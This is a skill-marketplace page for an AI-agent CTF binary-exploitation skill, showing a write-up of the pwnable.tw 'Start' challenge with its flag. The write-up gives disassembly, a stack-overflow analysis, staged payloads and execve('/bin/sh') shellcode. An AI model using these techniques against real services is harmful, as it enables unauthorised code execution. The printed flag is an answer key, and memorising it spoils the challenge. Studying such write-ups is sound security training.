Index of every page on this site: llms.txt
All skills
ljagiello avatar

/ctf-pwn

@20d182d
by Lukasz Jagielloljagiello/ctf-skills3.8k stars
447
Run it yourself

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

Use this Skill: https://skilld.dev/gh/ljagiello/ctf-skills/ctf-pwn

Nothing lands on disk. Nothing to clean up.

Fork this Skill

Edit a local copy. It keeps the author and licence.

pwnable-twstart.md

≈2.7k tokens on demand. Your agent reads this file only when SKILL.md points to it.

Start — pwnable.tw (100 pts)

← Back to pwnable.tw Challenge Index

nc chall.pwnable.tw 10000

Flag: FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

Challenge Overview

A tiny hand-written x86-32 assembly program (67 bytes of .text). It prints "Let's start the CTF:", reads up to 60 bytes from stdin into a 20-byte stack buffer, then returns. No libc, no protections — pure raw syscalls on a statically linked, non-stripped ELF.

checksec:
  Arch:     i386-32-little
  RELRO:    No RELRO
  Stack:    No canary found
  NX:       NX disabled          # stack is RWX
  PIE:      No PIE

Disassembly

The entire binary is just two routines:

08048060 <_start>:
 8048060:  push   esp                    ; save original ESP on stack
 8048061:  push   0x804809d              ; push address of _exit (return addr)
 8048066:  xor    eax,eax                ; clear registers
 8048068:  xor    ebx,ebx
 804806a:  xor    ecx,ecx
 804806c:  xor    edx,edx
 804806e:  push   0x3a465443             ; push "CTF:" (5 pushes = 20 bytes)
 8048073:  push   0x20656874             ; push "the "
 8048078:  push   0x20747261             ; push "art "
 804807d:  push   0x74732073             ; push "s st"
 8048082:  push   0x2774654c             ; push "Let'"
 8048087:  mov    ecx,esp                ; ecx = buffer addr (ESP)
 8048089:  mov    dl,0x14                ; edx = 20 (count)
 804808b:  mov    bl,0x1                 ; ebx = 1 (stdout)
 804808d:  mov    al,0x4                 ; eax = 4 (sys_write)
 804808f:  int    0x80                   ; write(1, esp, 20) → prints message
 8048091:  xor    ebx,ebx               ; ebx = 0 (stdin)
 8048093:  mov    dl,0x3c                ; edx = 60 (count)
 8048095:  mov    al,0x3                 ; eax = 3 (sys_read)
 8048097:  int    0x80                   ; read(0, esp, 60) ← VULN: 60 > 20
 8048099:  add    esp,0x14               ; pop the 20-byte message buffer
 804809c:  ret                           ; return to [esp] (was _exit, now attacker-controlled)

0804809d <_exit>:
 804809d:  pop    esp                    ; restore original ESP
 804809e:  xor    eax,eax
 80480a0:  inc    eax                    ; eax = 1 (sys_exit)
 80480a1:  int    0x80                   ; exit(0)

Stack Layout at read (0x8048097)

         ESP →  [ "Let'" ]           ← message[0:4]   (overwritten by input)
         +0x04  [ "s st" ]           ← message[4:8]
         +0x08  [ "art " ]           ← message[8:12]
         +0x0c  [ "the " ]           ← message[12:16]
         +0x10  [ "CTF:" ]           ← message[16:20]
         +0x14  [ 0x0804809d ]       ← saved return addr (_exit) ← OVERWRITE TARGET
         +0x18  [ original ESP ]     ← pushed by `push esp` at 0x8048060
         +0x1c  [ argc ]             ← original stack from kernel
         ...    (more argv/envp)     ← up to 60-20=40 bytes past ret addr

Vulnerability

V1 — Stack Buffer Overflow (20 bytes buffer, 60 bytes read)

Root Cause: read(0, esp, 60) reads 60 bytes into a region where only 20 bytes are allocated for the message. The remaining 40 bytes overflow past the message into the saved return address and beyond.

8048093:  mov    dl,0x3c         ; read up to 60 bytes
8048095:  mov    al,0x3          ; sys_read
8048097:  int    0x80            ; read(stdin, esp, 60)
8048099:  add    esp,0x14        ; skip 20-byte message
804809c:  ret                    ; return to whatever is now at [esp]

Attacker controls: bytes 20-23 overwrite the return address. Bytes 24-59 land on the stack after the return address.

Enabling conditions:

  • NX disabled → stack is executable, shellcode runs directly
  • ASLR enabled → stack addresses are randomized, need a leak
  • No canary → return address overwrite is trivial
  • push esp at program start → the original ESP value is stored on the stack at offset +0x18, just 4 bytes after the return address

Exploit Paths

All 339 solutions use essentially the same two-stage approach. Variations are minor (different return gadget, shellcode flavor, NOP sled size).


Path A — Return to 0x8048087 → Leak Stack → Shellcode (Standard)

Used by: ~95% of all solutions (e.g., 100, 114, 1045, 1172, 1220, 1251, 1269, 1297, 1335, 10068, 10115, 10295, 10302, 11543, 12138, 12649, 13367, 13484, 14370, 15989, exp.py)

This is the canonical solution. Two interactions with the server:

Stage 1 — Leak the stack address:

payload1 = b"A" * 20 + p32(0x08048087)

Overwrite the return address with 0x08048087 (mov ecx, esp). When ret executes at 0x804809c:

  1. add esp, 0x14 pops the 20-byte message → ESP now points to the overwritten return address slot.
  2. ret jumps to 0x08048087.
  3. At 0x08048087: mov ecx, esp → ECX = current ESP.
  4. write(1, esp, 20) prints 20 bytes from the stack. The first 4 bytes are the original ESP value (pushed by push esp at 0x8048060).
  5. read(0, esp, 60) gives us a second input opportunity.
leaked_esp = u32(recv(4))  # original ESP from the stack

Stage 2 — Jump to shellcode:

shellcode_addr = leaked_esp + 0x14  # shellcode lands 20 bytes after ESP
payload2 = b"A" * 20 + p32(shellcode_addr) + shellcode

The 20-byte padding fills the message buffer, p32(shellcode_addr) overwrites the return address, and the shellcode follows immediately after. When ret fires, execution jumps to the shellcode on the stack.

Shellcode: Almost universally execve("/bin/sh", NULL, NULL) — typically 21-28 bytes, many variants exist:

; 24-byte execve("/bin/sh") — most common variant
xor    eax, eax
push   eax
push   0x68732f2f    ; "//sh"
push   0x6e69622f    ; "/bin"
mov    ebx, esp      ; ebx = "/bin//sh"
xor    ecx, ecx
mov    edx, ecx      ; ecx = edx = NULL
mov    al, 0xb       ; sys_execve
int    0x80

Path B — Return to 0x0804808b → Leak Stack (Shifted) → Shellcode-Before-Return

Used by: Solutions 138 (Ruby), 170

Returns to 0x804808b instead of 0x8048087. The difference: entering at 0x804808b skips mov ecx, esp and mov dl, 0x14, so ECX retains its prior value (still points to the message area) and BL is set to 1 but DL keeps its old value (0x14 from the previous write). This writes 20 bytes but from a different stack position — the leaked ESP value appears at a different offset in the output (byte 24 instead of byte 0).

payload1 = b"a" * 20 + p32(0x0804808b)
# ... recv 24 bytes, then 4 bytes = leaked ESP

In stage 2, the shellcode is placed before the return address (in the 20-byte padding area), and the return address points backward:

payload2 = shellcode.ljust(44, b"a") + p32(leaked_stack - 0x1c)

Path C — Return to 0x08048060 (_start) → Re-run → Standard Leak

Used by: Solution 10128

A three-stage variant: first overflow returns to _start (0x8048060) to completely re-run the program. The second run then uses the standard Path A approach. This adds one round trip but the logic is conceptually cleaner.

# Stage 1: restart the program
payload1 = cyclic(20) + p32(0x8048060)
# Stage 2: leak (same as Path A stage 1)
payload2 = cyclic(20) + p32(0x8048087)
# Stage 3: shellcode (same as Path A stage 2)
payload3 = cyclic(20) + p32(leaked_esp + 20) + shellcode

Path D — NOP Sled Variants

Used by: Solutions 1220, 11540, 12138, 12649, 1236

Same two-stage approach as Path A, but use NOP sleds (\x90) before the shellcode to increase reliability:

payload2 = b"\x90" * 20 + p32(leaked_esp + 20) + b"\x90" * N + shellcode

Some place the return address in multiple slots (e.g., p32(addr) * 6) to increase the chance of hitting the right offset.


Path E — Shellcode Placement Variations

A few solutions place shellcode in the 20-byte padding area (before the return address) instead of after it:

# Shellcode in padding, return address points to it
payload2 = shellcode.ljust(20, b"\x90") + p32(leaked_esp - offset)

This works when the shellcode is small enough (≤20 bytes) and requires calculating the correct backward offset from the leaked stack address.

Exploit Primitive Summary

Primitive Source Reliability
Return address overwrite V1: 60-byte read into 20-byte buffer Deterministic
Stack address leak Return to 0x8048087 (write gadget) Deterministic
Shellcode execution NX disabled, stack is RWX Deterministic
execve("/bin/sh") 21-28 byte inline shellcode Deterministic

Key Addresses

_start         = 0x08048060  # program entry
write_gadget   = 0x08048087  # mov ecx,esp; write(1,esp,20); read(0,esp,60)
write_no_ecx   = 0x0804808b  # mov bl,1; write(1,ecx,20); read(0,esp,60)
read_syscall   = 0x08048091  # xor ebx; read(0,esp,60)
add_esp_ret    = 0x08048099  # add esp,0x14; ret
_exit          = 0x0804809d  # pop esp; exit(1)

Solution Write-ups

339 solutions exist, nearly all following Path A. Representative samples:

File Approach Language Notes
exp.py A Python (raw sockets) Reference exploit, no pwntools
100.md A Python (pwntools) Minimal, clean
114.md A Python (pwntools) Good prose explanation
138.md B (Ruby) Ruby Returns to 0x804808b; rare Ruby solution
170.md B Python (pwntools) Returns to 0x804808b, shellcode before ret addr
1045.md A Python (pwntools) Uses shellcraft.execve
1316.md A Go Only Go-language solution
10128.md C Python (pwntools) Three-stage via _start re-entry
10178.md E Python (pwntools) Shellcode before return address
10295.md A Python (pwntools) Detailed stack diagram explanation
11543.md A Python (pwntools) Korean; concise
13889.md A Python (raw sockets) Most detailed writeup with annotated disassembly
14370.md A Python (raw sockets) Good educational walkthrough
15989.md A Python (pwntools) Clean and brief

Files

File Description
exp.py Working exploit script (raw sockets, no pwntools)
desc.txt Challenge description
artifacts/start Original challenge binary (ELF 32-bit, statically linked)
solution/*.md Community write-ups (339 solutions)

Source: SKILL.md on GitHub

skilld matched fixed text patterns in SKILL.md and file names. Patterns miss obfuscated code.

skilld run checks every file with the same patterns. It asks for approval before it loads a Skill with a behavior marked Needs approval.

2 alerts26d5 checks · Risk SAFE
  • Gen Agent Trust Hub26d

    This skill is an extensive reference library and toolset for binary exploitation in CTF (Capture The Flag) competitions. It provides detailed documentation, scripts, and techniques for a wide range of vulnerabilities, including heap corruption, stack overflows, and kernel exploits. All recommended tool installations and script operations are standard for security research and are appropriately scoped to its educational purpose.

  • Socket26d

    26 alerts: gptSecurity, gptAnomaly, gptMalware

  • Snyk26d

    Risk: LOW · No issues

  • Runlayer8mo

    7/7 files flagged

  • ZeroLeaks7mo

    Score: 93/100 · 2 sections analyzed

Signed by skilld at 20d182d. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub last week.

Activeupdated 4 weeks ago
metadata
{
  "user-invocable": "false",
  "author": "Lukasz Jagiello"
}
All 1 allowed tools
Bash Read Write Edit Glob Grep Task WebFetch WebSearch
Other metadata
compatibility
Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
  • binary-exploitation
  • ctf
  • rop
  • shellcode
  • heap
  • pwn
  • gdb
  • pwntools
  • kernel
  • seccomp

README badge

README badge for ljagiello/ctf-skills/ctf-pwn

Provides binary exploitation techniques for CTF challenges targeting memory corruption and low-level primitives like buffer overflows, format strings, heap bugs, ROP chains, and kernel exploits. Includes detailed references for ret2libc, ret2csu, SROP, seccomp bypass, heap techniques (House of Apple, tcache poisoning), FILE structure exploitation, and Windows/Linux privilege escalation — but assumes the vulnerable binary is already identified and does not cover reverse engineering or standalone crypto challenges.

Generated from the current SKILL.md.

Does this skill cover heap exploitation?
Yes. The skill includes techniques for House of Apple 2, House of Einherjar, tcache poisoning, FILE structure exploitation, and UAF attacks across glibc and custom allocators.
What platforms and architectures does this support?
Linux (x86, x86_64, ARM) and Windows (SEH-based exploits). macOS is supported for development tools but target exploitation assumes Linux or Windows binaries.
Does this cover kernel exploitation?
Yes. The skill includes kernel ROP, tty_struct heap spray, KASLR/KPTI/SMEP bypass, modprobe_path overwrite, and privilege escalation via ret2usr and kernel memory corruption.
When should I use this skill instead of reverse engineering?
Use this skill when you already understand what the binary does and need to convert a known vulnerability (buffer overflow, format string, UAF, etc.) into code execution. Switch to reverse engineering first if the main blocker is understanding the binary's purpose or control flow.
Does this skill handle web bugs or cryptographic challenges?
No. The skill excludes pure web bugs, disk/packet forensics, and standalone crypto/math challenges. Use ctf-web or ctf-crypto for those domains instead.

Generated from the current SKILL.md. These answers refresh after source changes.